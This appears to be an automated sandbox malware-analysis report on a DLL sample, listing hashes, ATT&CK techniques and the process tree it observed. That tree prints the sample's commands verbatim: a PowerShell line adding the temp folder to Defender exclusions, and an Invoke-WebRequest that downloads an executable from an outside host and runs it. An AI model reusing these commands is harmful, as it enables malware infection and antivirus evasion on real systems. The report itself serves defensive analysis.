4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e

General

Target

4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e.dll
Size

206KB
MD5

fccd129f6a5b9d2133d14922a3614f02
SHA1

e814c637e6f0c21f3aa9b43fb92cb161b4d451fc
SHA256

4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e
SHA512

c1594504053bbe2b061880d1ff69819eca8bdd2bc882b74f415ff8a1515389e32b8d7cd1b931d65b042247fd05df1751a000d6da4219427b74e9cdb0e0e52979
SSDEEP

3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2904	powershell.exe
1372	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1372	powershell.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 1884 wrote to memory of 2068	1884	rundll32.exe	30
PID 2068 wrote to memory of 2092	2068	rundll32.exe	31
PID 2068 wrote to memory of 2092	2068	rundll32.exe	31
PID 2068 wrote to memory of 2092	2068	rundll32.exe	31
PID 2068 wrote to memory of 2092	2068	rundll32.exe	31
PID 2092 wrote to memory of 1372	2092	cmd.exe	33
PID 2092 wrote to memory of 1372	2092	cmd.exe	33
PID 2092 wrote to memory of 1372	2092	cmd.exe	33
PID 2092 wrote to memory of 1372	2092	cmd.exe	33
PID 2068 wrote to memory of 2772	2068	rundll32.exe	34
PID 2068 wrote to memory of 2772	2068	rundll32.exe	34
PID 2068 wrote to memory of 2772	2068	rundll32.exe	34
PID 2068 wrote to memory of 2772	2068	rundll32.exe	34
PID 2772 wrote to memory of 2904	2772	cmd.exe	36
PID 2772 wrote to memory of 2904	2772	cmd.exe	36
PID 2772 wrote to memory of 2904	2772	cmd.exe	36
PID 2772 wrote to memory of 2904	2772	cmd.exe	36
PID 2068 wrote to memory of 2828	2068	rundll32.exe	38
PID 2068 wrote to memory of 2828	2068	rundll32.exe	38
PID 2068 wrote to memory of 2828	2068	rundll32.exe	38
PID 2068 wrote to memory of 2828	2068	rundll32.exe	38

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2904
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c %temp%/eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e45539bf77ce89d8bc4c7afc799bf6a4

SHA1
126ce5828f6eba66602711be8149e330a70120b1

SHA256
065cc338958e7dcc9dc7776307071e9351745f51cb7062fc4bf5ff9eceac9a59

SHA512
917f9fa0bfcf4a677ba3c211d8b0dbe49e687948991c59b49748840891dd4a525b60e878fb799cc4688fa3cdae0ea66f56693300770f66474b30e797f31711ca

Download Submit
memory/1372-2-0x0000000074041000-0x0000000074042000-memory.dmp

Filesize
4KB

Download
memory/1372-4-0x0000000074040000-0x00000000745EB000-memory.dmp

Filesize
5.7MB

Download
memory/1372-3-0x0000000074040000-0x00000000745EB000-memory.dmp

Filesize
5.7MB

Download
memory/1372-5-0x0000000074040000-0x00000000745EB000-memory.dmp

Filesize
5.7MB

Download
memory/1372-6-0x0000000074040000-0x00000000745EB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing